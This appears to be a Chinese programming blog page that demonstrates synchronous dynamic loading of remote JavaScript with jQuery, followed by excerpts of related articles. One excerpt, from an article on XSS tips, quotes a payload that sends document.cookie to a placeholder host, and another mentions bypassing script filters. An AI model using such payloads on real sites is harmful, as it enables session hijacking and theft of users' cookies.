<html>
<head> </head>
<body> </body>
</html> <script src="/lib/jquery.min.js"></script> <script> var a = 100; alert("执行前,a的值为:" + a);//100
console.log(jQuery.fn.jquery); console.time("执行远程JS耗时");
loadRemoteJs("/1.js"); //1.js 内容: a=20
console.timeEnd("执行远程JS耗时"); alert("执行后,a的值为:" + a);//20
console.log(jQuery.fn.jquery); function loadRemoteJs(file) {
$.ajax({
url: file,
method: 'GET',
async: false
}).success(function (result) {
document.writeln("<script>" + result + "<\/script>");
});
} //https://www.cnblogs.com/jxlsomnus/p/4269945.html </script> <script>
//(async function () { // alert("执行前,a的值为:" + a); // await $.getScript("/1.js"); // alert("执行后,a的值为:" + a); //})();
</script> <script> //alert("执行前,a的值为:" + a); //loadjs("/1.js");//1.js会重设a的值 //alert("执行后,a的值为:" + a); //function loadjs(file) {
// var head = $('head').remove('#loadscript');
// $("<scri" + "pt>" + "</scr" + "ipt>").attr({ src: file, type: 'text/javascript', id: 'loadscript' }).appendTo(head);
//} </script>

  

同步动态加载远程JS的更多相关文章

  1. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  2. 文字添加响应事件,js动态加载CSS, js弹出DIV

    文字添加响应事件,js动态加载CSS, js弹出DIV <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN&qu ...

  3. XSS漏洞之加载远程js文件

    这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly 但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有< ...

  4. Chrome 调试动态加载的js

    今天有个同事问到我用chrome调试动态加载js的问题,这个问题之前遇到过,只是时间有点长了,有些忘记.在这里做一下记录: 在要调试的源码的后面加上 //@ sourceURL= debug.js 注 ...

  5. jquery动态加载 去除js

    !-- 这里为你提供了三种动态加载js的jquery实例代码哦,由于jquery是为用户提供方便的,所以利用jquery动态加载文件只要一句话$.getscript("test.js&quo ...

  6. 使用js加载器动态加载外部js、css文件

    let MiniSite = new Object(); /** * 判断浏览器 */ MiniSite.Browser = { ie: /msie/.test(window.navigator.us ...

  7. 调试动态加载的js

    用浏览器无法调试异步加载页面里包含的js文件.简单的说就是在调试工具里面看不到异步加载页面里包含的js文件   最近在一个新的web项目中开发功能.这个项目的管理界面有一个特点,框架是固定的,不会刷新 ...

  8. chrome调试状态下动态加载的js

    在js文件中加入 //@ sourceURL=文件名.js

  9. 动态加载css,js

    function dynamicLoadCss(url) { var head = document.getElementsByTagName('head')[0]; var link = docum ...

  10. 动态加载JS脚本

    建立dynamic.js文件,表示动态加载的js文件,里面的内容为: function dynamicJS() { alert("加载完毕"); } 如下方法中的html页面和dy ...

随机推荐

  1. JavaWeb 中的 HTTP 基础知识

    概念:超文本传输协议,规定了浏览器和服务器之间数据传输的规则. 特点: 基于TCP协议,面向连接,更安全 基于请求-响应模型,一次请求对应一次响应 是无状态的协议,对事务处理没有记忆能力.每次请求-响 ...

  2. qt激光加工软件开发——日志模块

    本篇主要介绍该加工软件的日志模块 实现的功能: 主界面日志栏显示 分级显示 本地保存 简单的调用机制 目前选择的是qInstallMessageHandler,毕竟是qt亲儿子(Qt 5.0以上版本) ...

  3. BAPI_OUTB_DELIVERY_CHANGE 删除DN

    """回滚数据 删除DN, CLEAR: l_header_data_chg,l_header_control_chg. l_header_data_chg-deliv_ ...

  4. 支付宝携手HarmonyOS SDK实况窗,开启便捷停车生活

    6月,华为开发者大会2025与全球开发者一起,用代码和创新编制智慧时代的经纬.这里不仅是技术峰会,更是开发者的「主场」,6月21日,<HarmonyOS SDK使能高效开发,打造优质创新应用体验 ...

  5. 联合省选2025 tj

    联合省选2025 tj d1 t2 实际上只需要把\(x\)能到的点集\(S_x\)和\(Sa_{[l,r]}\)交起来得到\(S\),再找到最大的\(v\)满足\(S\)和\(Sb_{[v,n]}\ ...

  6. [Compose Multiplatform Desktop] 比官方更好的Compose预览

    前提概要 Compose Multiplatform 是从 Android 的 Jetpack Compose 发展而来的. 所以 Compose 在 Android 上功能最完善,其次是 Deskt ...

  7. 自用的springboot后端增删改查模板

    Springboot后端简易方式快速搭建 前言 快速学了下.和传统的springboot项目相比,没有用service和serviceImpl.比较不合规,但够简单.可以用于快速开发. 前后端分离.前 ...

  8. Sublime Test 安装&配置教程

    先按照这上面的网址安装: oi-wiki SublimeText配置 记得点击:Windows 64 bit 后面的那个安装很慢. 下载一个Devc++或Codeblocks,这边提供Devc++下载 ...

  9. 字符串KMP算法详解

    引入 字符串kmp算法用于解决字符串匹配的问题: 给出两个字符串 \(s_1\) 和 \(s_2\),若 \(s_1\) 的区间 \([l, r]\) 子串与 \(s_2\) 完全相同,则称 \(s_ ...

  10. SciTech-BigDataAIML-LLM-Transformer Series-Input+Output-Sampling + Vectorize and Matrixize 不同类型的Input数据(Text/Picture/Audio/Video/Graph:如社交网与分子图)

    SciTech-BigDataAIML-LLM-Transformer Series Sampling(采样) Sampling Rate(采样速率) 单位时间采集样本的数量, 有单位. 例视频以fr ...